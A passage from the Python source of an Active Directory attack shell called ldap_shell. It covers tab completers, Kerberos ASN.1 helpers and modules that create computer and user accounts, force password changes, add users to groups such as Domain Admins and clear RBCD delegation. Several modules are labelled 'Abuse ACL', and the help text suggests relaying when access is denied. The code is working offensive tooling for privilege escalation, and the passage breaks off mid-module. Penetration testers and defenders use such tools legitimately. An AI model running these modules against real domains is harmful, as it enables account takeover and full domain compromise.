[None]) 113 | identifier = display_name or cn_value or dn.split(',')[0].split('=')[1] 114 | highlight_color = COLOR_MAPPING['gpo'] 115 | else: 116 | continue 117 | 118 | obj_info = { 119 | "identifier": identifier, 120 | "type": obj_type, 121 | "dn": dn, 122 | "color": highlight_color 123 | } 124 | objects.append(obj_info) 125 | 126 | return objects 127 | -------------------------------------------------------------------------------- /ldap_shell/completers/mask_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | 5 | class MaskCompleter(BaseArgumentCompleter): 6 | """Completer for mask actions""" 7 | 8 | def get_completions(self, document: Document, complete_event, current_word: str) -> list[Completion]: 9 | completions = [] 10 | 11 | options = [ 12 | "GenericAll", 13 | "AllExtendedRights", 14 | "GenericWrite", 15 | "WriteOwner", 16 | "WriteDacl", 17 | "WriteProperty", 18 | "Delete", 19 | "WriteToRBCD", 20 | "WriteToKeyCredLink" 21 | ] 22 | 23 | for option in options: 24 | if option.startswith(current_word.lower()): 25 | completions.append(Completion( 26 | option, 27 | start_position=-len(current_word), 28 | display=option, 29 | display_meta="Action" 30 | )) 31 | 32 | return completions -------------------------------------------------------------------------------- /ldap_shell/completers/rbcd_completer.py: -------------------------------------------------------------------------------- 1 | from prompt_toolkit.completion import WordCompleter, Completion 2 | from prompt_toolkit.document import Document 3 | from .base import BaseArgumentCompleter 4 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 5 | from ldap_shell.utils.ace_utils import AceUtils 6 | from ldap_shell.utils.ldap_utils import LdapUtils 7 | 8 | class RBCDCompleter(BaseArgumentCompleter): 9 | def __init__(self, ldap_connection, domain_dumper): 10 | self.client = ldap_connection 11 | self.domain_dumper = domain_dumper 12 | 13 | def get_completions(self, document, complete_event, current_word): 14 | if not isinstance(document, Document): 15 | return 16 | 17 | text = document.text_before_cursor 18 | 19 | target = text.split()[-2] 20 | if text.endswith(' '): 21 | word_before_cursor = '' 22 | target = text.split()[-1] 23 | else: 24 | word_before_cursor = text.split()[-1] 25 | entry = self.client.search( 26 | self.domain_dumper.root, 27 | f'(sAMAccountName={target})', 28 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity'] 29 | ) 30 | if not entry or len(self.client.entries) != 1: 31 | return 32 | 33 | sd_data = self.client.entries[0]['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values 34 | users_list = [] 35 | 36 | if sd_data: 37 | sd = SR_SECURITY_DESCRIPTOR(data=sd_data[0]) 38 | for ace in sd['Dacl'].aces: 39 | sid = ace['Ace']['Sid'].formatCanonical() 40 | users_list.append(LdapUtils.sid_to_user(self.client, self.domain_dumper, sid)) 41 | else: 42 | return 43 | 44 | for user in users_list: 45 | if word_before_cursor.lower() in user.lower(): 46 | yield Completion( 47 | user, 48 | start_position=-len(word_before_cursor), 49 | display=user 50 | ) 51 | -------------------------------------------------------------------------------- /ldap_shell/krb5/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PShlyundin/ldap_shell/ee4df4a582830de900045ae3fdfdd8fea18adf92/ldap_shell/krb5/__init__.py -------------------------------------------------------------------------------- /ldap_shell/krb5/types.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | import re 3 | 4 | from pyasn1.codec.der import decoder 5 | 6 | from ldap_shell.krb5 import constants, asn1 7 | 8 | 9 | class KerberosException(Exception): 10 | pass 11 | 12 | 13 | def _asn1_decode(data, asn1Spec): 14 | if isinstance(data, str) or isinstance(data, bytes): 15 | data, substrate = decoder.decode(data, asn1Spec=asn1Spec) 16 | if substrate != b'': 17 | raise KerberosException("asn1 encoding invalid") 18 | return data 19 | 20 | 21 | class EncryptedData(object): 22 | def __init__(self): 23 | self.etype = None 24 | self.kvno = None 25 | self.ciphertext = None 26 | 27 | def from_asn1(self, data): 28 | data = _asn1_decode(data, asn1.EncryptedData()) 29 | self.etype = constants.EncryptionTypes(data.getComponentByName('etype')).value 30 | kvno = data.getComponentByName('kvno') 31 | if (kvno is None) or (kvno.hasValue() is False): 32 | self.kvno = False 33 | else: 34 | self.kvno = kvno 35 | self.ciphertext = str(data.getComponentByName('cipher')) 36 | return self 37 | 38 | def to_asn1(self, component): 39 | component.setComponentByName('etype', int(self.etype)) 40 | if self.kvno: 41 | component.setComponentByName('kvno', self.kvno) 42 | component.setComponentByName('cipher', self.ciphertext) 43 | return component 44 | 45 | 46 | class Principal: 47 | """The principal's value can be supplied as: 48 | * a single string 49 | * a sequence containing a sequence of component strings and a realm string 50 | * a sequence whose first n-1 elemeents are component strings and whose last 51 | component is the realm 52 | 53 | If the value contains no realm, then default_realm will be used.""" 54 | 55 | def __init__(self, value=None, default_realm=None, type=None): 56 | self.type = constants.PrincipalNameType.NT_UNKNOWN 57 | self.components = [] 58 | self.realm = None 59 | 60 | if value is None: 61 | return 62 | 63 | if isinstance(value, bytes): 64 | value = value.decode('utf-8') 65 | 66 | if isinstance(value, Principal): 67 | self.type = value.type 68 | self.components = value.components[:] 69 | self.realm = value.realm 70 | elif isinstance(value, str): 71 | m = re.match(r'((?:[^\\]|\\.)+?)(@((?:[^\\@]|\\.)+))?$', value) 72 | if not m: 73 | raise KerberosException("invalid principal syntax") 74 | 75 | def unquote_component(comp): 76 | return re.sub(r'\\(.)', r'\1', comp) 77 | 78 | if m.group(2) is not None: 79 | self.realm = unquote_component(m.group(3)) 80 | else: 81 | self.realm = default_realm 82 | 83 | self.components = [ 84 | unquote_component(qc) 85 | for qc in re.findall(r'(?:[^\\/]|\\.)+', m.group(1))] 86 | elif len(value) == 2: 87 | self.components = value[0] 88 | self.realm = value[-1] 89 | if isinstance(self.components, str): 90 | self.components = [self.components] 91 | elif len(value) >= 2: 92 | self.components = value[0:-1] 93 | self.realm = value[-1] 94 | else: 95 | raise KerberosException("invalid principal value") 96 | 97 | if type is not None: 98 | self.type = type 99 | 100 | def __eq__(self, other): 101 | if isinstance(other, str): 102 | other = Principal(other) 103 | 104 | return (self.type == constants.PrincipalNameType.NT_UNKNOWN.value 105 | or other.type == constants.PrincipalNameType.NT_UNKNOWN.value 106 | or self.type == other.type) \ 107 | and all(map(lambda a, b: a == b, self.components, other.components)) \ 108 | and self.realm == other.realm 109 | 110 | def __str__(self): 111 | def quote_component(comp): 112 | return re.sub(r'([\\/@])', r'\\\1', comp) 113 | 114 | ret = "/".join([quote_component(c) for c in self.components]) 115 | if self.realm is not None: 116 | ret += "@" + self.realm 117 | 118 | return ret 119 | 120 | def __repr__(self): 121 | return "Principal((" + repr(self.components) + ", " + \ 122 | repr(self.realm) + "), t=" + str(self.type) + ")" 123 | 124 | def from_asn1(self, data, realm_component, name_component): 125 | name = data.getComponentByName(name_component) 126 | self.type = constants.PrincipalNameType( 127 | name.getComponentByName('name-type')).value 128 | self.components = [ 129 | str(c) for c in name.getComponentByName('name-string')] 130 | self.realm = str(data.getComponentByName(realm_component)) 131 | return self 132 | 133 | def components_to_asn1(self, name): 134 | name.setComponentByName('name-type', int(self.type)) 135 | strings = name.setComponentByName('name-string' 136 | ).getComponentByName('name-string') 137 | for i, c in enumerate(self.components): 138 | strings.setComponentByPosition(i, c) 139 | 140 | return name 141 | 142 | 143 | class Ticket: 144 | def __init__(self): 145 | # This is the kerberos version, not the service principal key 146 | # version number. 147 | self.tkt_vno = None 148 | self.service_principal = None 149 | self.encrypted_part = None 150 | 151 | def from_asn1(self, data): 152 | data = _asn1_decode(data, asn1.Ticket()) 153 | self.tkt_vno = int(data.getComponentByName('tkt-vno')) 154 | self.service_principal = Principal() 155 | self.service_principal.from_asn1(data, 'realm', 'sname') 156 | self.encrypted_part = EncryptedData() 157 | self.encrypted_part.from_asn1(data.getComponentByName('enc-part')) 158 | return self 159 | 160 | def to_asn1(self, component): 161 | component.setComponentByName('tkt-vno', 5) 162 | component.setComponentByName('realm', self.service_principal.realm) 163 | asn1.seq_set(component, 'sname', 164 | self.service_principal.components_to_asn1) 165 | asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1) 166 | return component 167 | 168 | def __str__(self): 169 | return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) 170 | 171 | 172 | class KerberosTime(object): 173 | INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) 174 | 175 | @staticmethod 176 | def to_asn1(dt): 177 | # A KerberosTime is really just a string, so we can return a 178 | # string here, and the asn1 library will convert it correctly. 179 | 180 | return "%04d%02d%02d%02d%02d%02dZ" % (dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second) 181 | 182 | @staticmethod 183 | def from_asn1(data): 184 | data = str(data) 185 | year = int(data[0:4]) 186 | month = int(data[4:6]) 187 | day = int(data[6:8]) 188 | hour = int(data[8:10]) 189 | minute = int(data[10:12]) 190 | second = int(data[12:14]) 191 | if data[14] != 'Z': 192 | raise KerberosException("timezone in KerberosTime is not Z") 193 | return datetime.datetime(year, month, day, hour, minute, second) 194 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/__init__.py: -------------------------------------------------------------------------------- 1 | def validate_argument(value: str) -> str: 2 | if value.startswith('"') and value.endswith('"'): 3 | return value[1:-1] 4 | if value.startswith("'") and value.endswith("'"): 5 | return value[1:-1] 6 | return value 7 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/add_computer/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, MODIFY_REPLACE 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap_shell.utils.ldap_utils import LdapUtils 9 | from ldap_shell.utils.security_utils import SecurityUtils 10 | import re 11 | import ldap3 12 | from ldap3.utils.conv import escape_filter_chars 13 | 14 | class LdapShellModule(BaseLdapModule): 15 | """Module for adding new computer accounts to Active Directory""" 16 | 17 | help_text = "Add a new computer account to the domain" 18 | examples_text = """ 19 | Example: Add computer with random password 20 | `add_computer SRV01$` 21 | ``` 22 | [INFO] Starting TLS connection... 23 | [INFO] TLS established successfully 24 | [INFO] Computer SRV01$ added successfully to CN=SRV01,CN=Computers,DC=domain,DC=local! Password: "6nJHsGxnVX5MfPK" 25 | 26 | ``` 27 | Example: Add computer with specific password 28 | `add_computer SRV01$ "P@ssw0rd123!"` 29 | ``` 30 | [INFO] Computer SRV01$ added successfully to CN=SRV01,CN=Computers,DC=domain,DC=local! Password: "P@ssw0rd123!" 31 | ``` 32 | Example: Add computer to specific OU 33 | `add_computer SRV01$ "P@ssw0rd123!" "OU=testComputers,DC=domain,DC=local"` 34 | ``` 35 | [INFO] Computer SRV01$ added successfully to CN=SRV01,OU=testComputers,DC=domain,DC=local! Password: "P@ssw0rd123!" 36 | ``` 37 | """ 38 | module_type = "Misc" 39 | 40 | class ModuleArgs(BaseModel): 41 | computer_name: str = Field( 42 | description="Computer account name (must end with $)", 43 | arg_type=ArgumentType.STRING 44 | ) 45 | password: Optional[str] = Field( 46 | None, 47 | description="Optional password (random if not specified)", 48 | arg_type=ArgumentType.STRING 49 | ) 50 | target_dn: Optional[str] = Field( 51 | None, 52 | description="Target DN to add the computer to", 53 | arg_type=ArgumentType.DN 54 | ) 55 | 56 | def __init__(self, args_dict: dict, 57 | domain_dumper: domainDumper, 58 | client: Connection, 59 | log=None): 60 | self.args = self.ModuleArgs(**args_dict) 61 | self.domain_dumper = domain_dumper 62 | self.client = client 63 | self.log = log or logging.getLogger('ldap-shell.shell') 64 | 65 | def __call__(self): 66 | # Validate computer name format 67 | if not self.args.computer_name.endswith('$'): 68 | self.args.computer_name = self.args.computer_name + '$' 69 | 70 | # Check secure connection 71 | if not self.client.tls_started and not self.client.server.ssl: 72 | self.log.info('Starting TLS connection...') 73 | if not self.client.start_tls(): 74 | self.log.error("TLS setup failed") 75 | return 76 | self.log.info('TLS established successfully') 77 | 78 | # Generate password if not provided 79 | password = self.args.password or SecurityUtils.generate_password(15) 80 | computer_hostname = self.args.computer_name[:-1] 81 | 82 | try: 83 | # Check if object exists 84 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.computer_name)})' 85 | if self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']): 86 | existing_dns = [entry.entry_dn for entry in self.client.entries] 87 | if existing_dns: 88 | self.log.error(f"Computer already exists in locations: {', '.join(existing_dns)}") 89 | return 90 | 91 | computer_dn = f"CN={computer_hostname},{self.args.target_dn or f'CN=Computers,{self.domain_dumper.root}'}" 92 | 93 | # Prepare computer attributes 94 | domain = LdapUtils.get_domain_name(self.domain_dumper.root) 95 | spns = [ 96 | f'HOST/{computer_hostname}', 97 | f'HOST/{computer_hostname}.{domain}', 98 | f'RestrictedKrbHost/{computer_hostname}', 99 | f'RestrictedKrbHost/{computer_hostname}.{domain}', 100 | ] 101 | # Create computer object 102 | result = self.client.add( 103 | computer_dn, 104 | ['top', 'person', 'organizationalPerson', 'user', 'computer'], 105 | { 106 | 'sAMAccountName': self.args.computer_name, 107 | 'userAccountControl': 4096, 108 | 'unicodePwd': f'"{password}"'.encode('utf-16-le'), 109 | 'servicePrincipalName': spns, 110 | 'objectCategory': f'CN=Computer,CN=Schema,CN=Configuration,{self.domain_dumper.root}', 111 | 'dnsHostName': f'{computer_hostname}.{domain}', 112 | 'name': computer_hostname, 113 | 'cn': computer_hostname, 114 | 'displayName': computer_hostname 115 | } 116 | ) 117 | 118 | if result: 119 | self.log.info(f'Computer {self.args.computer_name} added successfully to {computer_dn}! Password: "{password}"') 120 | else: 121 | error_msg = self.client.result 122 | self.log.error(f'Failed to add computer: {error_msg}') 123 | 124 | except Exception as e: 125 | self.log.error(f'Error adding computer: {str(e)}') 126 | if 'insufficient access rights' in str(e).lower(): 127 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 128 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/add_group/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection, SUBTREE, MODIFY_ADD 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | 8 | class LdapShellModule(BaseLdapModule): 9 | """Module for adding new groups to Active Directory""" 10 | 11 | help_text = "Add new group to Active Directory" 12 | examples_text = """ 13 | Add a new group to default location (CN=Users) 14 | `add_group "Test Group"` 15 | 16 | Add a new group to specific OU 17 | `add_group "Test Group" "OU=testOU,DC=roasting,DC=lab"` 18 | """ 19 | module_type = "Misc" 20 | 21 | class ModuleArgs(BaseModel): 22 | group_name: str = Field( 23 | ..., # This argument is required 24 | description="Name of the group to create", 25 | arg_type=[ArgumentType.STRING] 26 | ) 27 | target_dn: Optional[str] = Field( 28 | None, 29 | description="Target OU where to create the group (optional)", 30 | arg_type=[ArgumentType.DN] 31 | ) 32 | 33 | def __init__(self, args_dict: dict, 34 | domain_dumper: domainDumper, 35 | client: Connection, 36 | log=None): 37 | self.args = self.ModuleArgs(**args_dict) 38 | self.domain_dumper = domain_dumper 39 | self.client = client 40 | self.log = log or logging.getLogger('ldap-shell.shell') 41 | 42 | def __call__(self): 43 | # Check if group already exists 44 | self.client.search( 45 | self.domain_dumper.root, 46 | f'(&(objectClass=group)(sAMAccountName={self.args.group_name}))', 47 | SUBTREE, 48 | attributes=['distinguishedName'] 49 | ) 50 | 51 | if len(self.client.entries) > 0: 52 | self.log.error(f"Group {self.args.group_name} already exists") 53 | return 54 | 55 | # Form DN for new group 56 | if self.args.target_dn: 57 | group_dn = f"CN={self.args.group_name},{self.args.target_dn}" 58 | else: 59 | group_dn = f"CN={self.args.group_name},CN=Users,{self.domain_dumper.root}" 60 | 61 | # Attributes for group creation 62 | group_attributes = { 63 | 'objectClass': ['top', 'group'], 64 | 'cn': self.args.group_name, 65 | 'name': self.args.group_name, 66 | 'sAMAccountName': self.args.group_name, 67 | 'displayName': self.args.group_name, 68 | 'description': f"Group created via ldap_shell" 69 | } 70 | 71 | # Create group 72 | if self.client.add(group_dn, attributes=group_attributes): 73 | self.log.info(f"Group {self.args.group_name} created successfully at {group_dn}") 74 | else: 75 | self.log.error(f"Failed to create group {self.args.group_name}: {self.client.result}") -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/add_user/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 7 | from ldap_shell.utils.ldap_utils import LdapUtils 8 | from ldap_shell.utils.security_utils import SecurityUtils 9 | import re 10 | from ldap3.utils.conv import escape_filter_chars 11 | 12 | class LdapShellModule(BaseLdapModule): 13 | """Module for adding new user accounts to Active Directory""" 14 | 15 | help_text = "Add a new user account to the domain" 16 | examples_text = """ 17 | Example: Add user with random password 18 | `add_user john.doe` 19 | ``` 20 | [INFO] Starting TLS connection... 21 | [INFO] TLS established successfully 22 | [INFO] User john.doe added successfully to CN=john.doe,CN=Users,DC=domain,DC=local! Password: "xK9mP2$vL5nR8@q" 23 | ``` 24 | Example: Add user with specific password 25 | `add_user john.doe "P@ssw0rd123!"` 26 | ``` 27 | [INFO] User john.doe added successfully to CN=john.doe,CN=Users,DC=domain,DC=local! Password: "P@ssw0rd123!" 28 | ``` 29 | Example: Add user to specific OU 30 | `add_user john.doe "P@ssw0rd123!" "OU=testUsers,DC=domain,DC=local"` 31 | ``` 32 | [INFO] User john.doe added successfully to CN=john.doe,OU=testUsers,DC=domain,DC=local! Password: "P@ssw0rd123!" 33 | ``` 34 | """ 35 | module_type = "Misc" 36 | 37 | class ModuleArgs(BaseModel): 38 | username: str = Field( 39 | description="Username for the new account", 40 | arg_type=ArgumentType.STRING 41 | ) 42 | password: Optional[str] = Field( 43 | None, 44 | description="Optional password (random if not specified)", 45 | arg_type=ArgumentType.STRING 46 | ) 47 | target_dn: Optional[str] = Field( 48 | None, 49 | description="Target DN to add the user to", 50 | arg_type=ArgumentType.DN 51 | ) 52 | 53 | def __init__(self, args_dict: dict, 54 | domain_dumper: domainDumper, 55 | client: Connection, 56 | log=None): 57 | self.args = self.ModuleArgs(**args_dict) 58 | self.domain_dumper = domain_dumper 59 | self.client = client 60 | self.log = log or logging.getLogger('ldap-shell.shell') 61 | 62 | def __call__(self): 63 | # Check secure connection 64 | if not self.client.tls_started and not self.client.server.ssl: 65 | self.log.info('Starting TLS connection...') 66 | if not self.client.start_tls(): 67 | self.log.error("TLS setup failed") 68 | return 69 | self.log.info('TLS established successfully') 70 | 71 | try: 72 | # Check if user exists 73 | search_filter = f'(sAMAccountName={escape_filter_chars(self.args.username)})' 74 | if self.client.search(self.domain_dumper.root, search_filter, attributes=['distinguishedName']): 75 | if self.client.entries: 76 | self.log.error(f'Failed add user: user {self.args.username} already exists!') 77 | return 78 | 79 | # Generate password if not provided 80 | password = self.args.password or SecurityUtils.generate_password(15) 81 | 82 | # Prepare user attributes 83 | new_user_dn = f'CN={self.args.username},{self.args.target_dn or f"CN=Users,{self.domain_dumper.root}"}' 84 | ucd = { 85 | 'objectCategory': f'CN=Person,CN=Schema,CN=Configuration,{self.domain_dumper.root}', 86 | 'distinguishedName': new_user_dn, 87 | 'cn': self.args.username, 88 | 'sn': self.args.username, 89 | 'givenName': self.args.username, 90 | 'displayName': self.args.username, 91 | 'name': self.args.username, 92 | 'userAccountControl': 512, 93 | 'accountExpires': '0', 94 | 'sAMAccountName': self.args.username, 95 | 'unicodePwd': f'"{password}"'.encode('utf-16-le') 96 | } 97 | 98 | # Create user object 99 | result = self.client.add( 100 | new_user_dn, 101 | ['top', 'person', 'organizationalPerson', 'user'], 102 | ucd 103 | ) 104 | 105 | if result: 106 | self.log.info(f'User {self.args.username} added successfully to {new_user_dn}! Password: "{password}"') 107 | else: 108 | error_msg = self.client.result 109 | self.log.error(f'Failed to add user: {error_msg}') 110 | 111 | except Exception as e: 112 | self.log.error(f'Error adding user: {str(e)}') 113 | if 'insufficient access rights' in str(e).lower(): 114 | self.log.info('Try relaying with LDAPS (--use-ldaps) or use elevated credentials') 115 | 116 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/add_user_to_group/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | import ldap3 9 | from ldap_shell.utils.ldap_utils import LdapUtils 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for adding a user to a group""" 13 | 14 | help_text = "Add a user to a group" 15 | examples_text = """ 16 | Example: add john.doe to Domain Admins group 17 | `add_user_to_group john.doe "Domain Admins"` 18 | ``` 19 | [INFO] Successfully added "john.doe" to "Domain Admins" 20 | ``` 21 | """ 22 | module_type = "Abuse ACL" 23 | 24 | class ModuleArgs(BaseModel): 25 | user: str = Field( 26 | description="Target AD user", 27 | arg_type=[ArgumentType.USER, ArgumentType.GROUP] 28 | ) 29 | group: str = Field( 30 | description="Target AD group", 31 | arg_type=ArgumentType.GROUP 32 | ) 33 | 34 | def __init__(self, args_dict: dict, 35 | domain_dumper: domainDumper, 36 | client: Connection, 37 | log=None): 38 | self.args = self.ModuleArgs(**args_dict) 39 | self.domain_dumper = domain_dumper 40 | self.client = client 41 | self.log = log or logging.getLogger('ldap-shell.shell') 42 | 43 | def __call__(self): 44 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user) 45 | if not user_dn: 46 | self.log.error(f'User not found: {self.args.user}') 47 | return 48 | 49 | group_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.group) 50 | if not group_dn: 51 | self.log.error(f'Group not found: {self.args.group}') 52 | return 53 | 54 | try: 55 | res = self.client.modify( 56 | group_dn, 57 | {'member': [(ldap3.MODIFY_ADD, [user_dn])]} 58 | ) 59 | except Exception as e: 60 | self.log.error(f'Failed to add user: {str(e)}') 61 | return 62 | 63 | if res: 64 | self.log.info('Successfully added "%s" to "%s"', self.args.user, self.args.group) 65 | # Check if modifying own group membership 66 | current_user = self.client.extend.standard.who_am_i().split(',')[0][3:] 67 | if current_user.lower() == self.args.user.lower(): 68 | self.log.warning('You modified your own group membership. Re-login may be required.') 69 | else: 70 | self.log.error('Failed to add user: %s', self.client.result['description']) 71 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/base_module.py: -------------------------------------------------------------------------------- 1 | from enum import Enum, auto 2 | from typing import Dict, List, Optional, Annotated 3 | from pydantic import BaseModel, Field, BeforeValidator 4 | from ldap3 import Connection 5 | from ldapdomaindump import domainDumper 6 | 7 | def parse_attributes(value) -> List[str]: 8 | """Convert input to list of attributes. 9 | Supports single attribute or comma-separated list.""" 10 | if isinstance(value, list): 11 | return value 12 | if isinstance(value, str): 13 | return [attr.strip() for attr in value.split(',')] if ',' in value else [value] 14 | return [] 15 | 16 | # Custom types for module arguments 17 | AttributesList = Annotated[List[str], BeforeValidator(parse_attributes)] 18 | 19 | class ArgumentType(Enum): 20 | USER = 'user' 21 | COMPUTER = 'computer' 22 | GROUP = 'group' 23 | OU = 'ou' 24 | DIRECTORY = 'directory' 25 | STRING = 'string' 26 | AD_OBJECT = 'ad_object' 27 | ATTRIBUTES = 'attributes' 28 | COMMAND = 'command' 29 | RBCD = 'rbcd' 30 | ADD_DEL = 'add_del' 31 | DN = 'dn' 32 | MASK = 'mask' 33 | BOOLEAN = 'boolean' 34 | ACTION = 'action' 35 | 36 | class ModuleArgument: 37 | def __init__(self, name: str, arg_type: ArgumentType, description: str, required: bool): 38 | self.name = name 39 | self.arg_type = arg_type 40 | self.description = description 41 | self.required = required 42 | class BaseLdapModule: 43 | """Base class for all LDAP modules""" 44 | 45 | @classmethod 46 | def get_module_info(cls): 47 | """Returns module information based on ModuleArgs class""" 48 | return { 49 | "name": cls.__name__, 50 | "description": cls.__doc__ or "", 51 | "arguments": cls.get_arguments() 52 | } 53 | 54 | @classmethod 55 | def get_args_required(cls) -> List[str]: 56 | """Returns a list of required arguments""" 57 | required_args = [] 58 | for name, field in cls.ModuleArgs.model_fields.items(): 59 | if field.is_required(): 60 | required_args.append(f'{name}') 61 | else: 62 | required_args.append(f'[{name}]') 63 | return required_args 64 | 65 | @classmethod 66 | def get_arguments(cls) -> List[ModuleArgument]: 67 | """Returns module arguments from ModuleArgs class""" 68 | arguments = [] 69 | for name, field in cls.ModuleArgs.model_fields.items(): 70 | arg_type = field.json_schema_extra.get('arg_type', ArgumentType.STRING) if field.json_schema_extra else ArgumentType.STRING 71 | required = field.is_required() 72 | description = field.description or "" 73 | arguments.append(ModuleArgument(name, arg_type, description, required)) 74 | return arguments -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/change_password/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | from ldap_shell.utils.ldap_utils import LdapUtils 9 | from ldap_shell.utils.security_utils import SecurityUtils 10 | 11 | class LdapShellModule(BaseLdapModule): 12 | """Module for changing a user's password""" 13 | 14 | help_text = "Attempt to change a given user's password. Requires LDAPS." 15 | examples_text = """ 16 | Example: change password for john.doe 17 | `change_password john.doe "NewPassword123!"` 18 | ``` 19 | [INFO] Successfully changed password for "john.doe" 20 | ``` 21 | """ 22 | module_type = "Abuse ACL" 23 | 24 | class ModuleArgs(BaseModel): 25 | user: str = Field( 26 | description="Target AD user", 27 | arg_type=[ArgumentType.USER, ArgumentType.COMPUTER] 28 | ) 29 | password: Optional[str] = Field( 30 | default=None, 31 | description="New password (optional - random if not specified)", 32 | arg_type=ArgumentType.STRING 33 | ) 34 | 35 | def __init__(self, args_dict: dict, 36 | domain_dumper: domainDumper, 37 | client: Connection, 38 | log=None): 39 | self.args = self.ModuleArgs(**args_dict) 40 | self.domain_dumper = domain_dumper 41 | self.client = client 42 | self.log = log or logging.getLogger('ldap-shell.shell') 43 | 44 | def __call__(self): 45 | # Automatically start StartTLS if no secure connection exists 46 | if not self.client.tls_started and not self.client.server.ssl: 47 | self.log.info('Detected insecure connection, attempting to start StartTLS...') 48 | try: 49 | if not self.client.start_tls(): 50 | self.log.error("StartTLS failed") 51 | return 52 | self.log.info('StartTLS successfully activated!') 53 | except Exception as e: 54 | self.log.error(f'Error starting StartTLS: {str(e)}') 55 | return 56 | 57 | user_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.user) 58 | if not user_dn: 59 | self.log.error(f'User not found: {self.args.user}') 60 | return 61 | 62 | # Generate password if not specified 63 | password = self.args.password or SecurityUtils.generate_password() 64 | 65 | try: 66 | # Use special method to change password 67 | self.client.extend.microsoft.modify_password(user_dn, password) 68 | 69 | if self.client.result['result'] == 0: 70 | self.log.info('Password changed successfully for "%s"! New password: "%s"', 71 | self.args.user, password) 72 | else: 73 | self.log.error('Password change failed: %s', self.client.result['description']) 74 | 75 | except Exception as e: 76 | self.log.error(f'Failed to change password: {str(e)}') 77 | -------------------------------------------------------------------------------- /ldap_shell/ldap_modules/clear_rbcd/ldap_module.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from ldap3 import Connection 3 | from ldapdomaindump import domainDumper 4 | from pydantic import BaseModel, Field 5 | from typing import Optional 6 | from ldap_shell.prompt import Prompt 7 | from ldap_shell.ldap_modules.base_module import BaseLdapModule, ArgumentType 8 | import ldap3 9 | from ldap_shell.utils.ldap_utils import LdapUtils 10 | from ldap_shell.utils.ace_utils import AceUtils 11 | from ldap_shell.utils.ldaptypes import SR_SECURITY_DESCRIPTOR 12 | 13 | class LdapShellModule(BaseLdapModule): 14 | """Module for clearing RBCD permissions for a target computer""" 15 | 16 | help_text = "Clear RBCD permissions for a target computer" 17 | examples_text = """ 18 | Example: clear RBCD permissions from pentest$ to DC01 19 | `clear_rbcd DC01$ pentest$` 20 | ``` 21 | [INFO] RBCD permissions cleared successfully! pentest$ can no longer impersonate users on DC01$ 22 | ``` 23 | 24 | Example: clear all RBCD permissions to DC01$ 25 | `clear_rbcd DC01$` 26 | ``` 27 | [INFO] RBCD permissions cleared successfully! 28 | ``` 29 | """ 30 | module_type = "Abuse ACL" 31 | 32 | class ModuleArgs(BaseModel): 33 | target: str = Field( 34 | description="Target computer account", 35 | arg_type=ArgumentType.COMPUTER 36 | ) 37 | grantee: Optional[str] = Field( 38 | None, 39 | description="SAM account name of the target computer", 40 | arg_type=[ArgumentType.RBCD] 41 | ) 42 | 43 | def __init__(self, args_dict: dict, 44 | domain_dumper: domainDumper, 45 | client: Connection, 46 | log=None): 47 | self.args = self.ModuleArgs(**args_dict) 48 | self.domain_dumper = domain_dumper 49 | self.client = client 50 | self.log = log or logging.getLogger('ldap-shell.shell') 51 | 52 | def __call__(self): 53 | target_sid = None 54 | # Get target information 55 | target_dn = LdapUtils.get_dn(self.client, self.domain_dumper, self.args.target) 56 | if not target_dn: 57 | self.log.error(f'Target computer not found: {self.args.target}') 58 | return 59 | 60 | # Get target SID 61 | if self.args.grantee: 62 | target_sid = LdapUtils.get_sid(self.client, self.domain_dumper, self.args.grantee) 63 | 64 | # Get current security descriptor 65 | try: 66 | entry = self.client.search( 67 | target_dn, 68 | f'(sAMAccountName={self.args.target})', 69 | attributes=['msDS-AllowedToActOnBehalfOfOtherIdentity'] 70 | ) 71 | if not entry or len(self.client.entries) != 1: 72 | 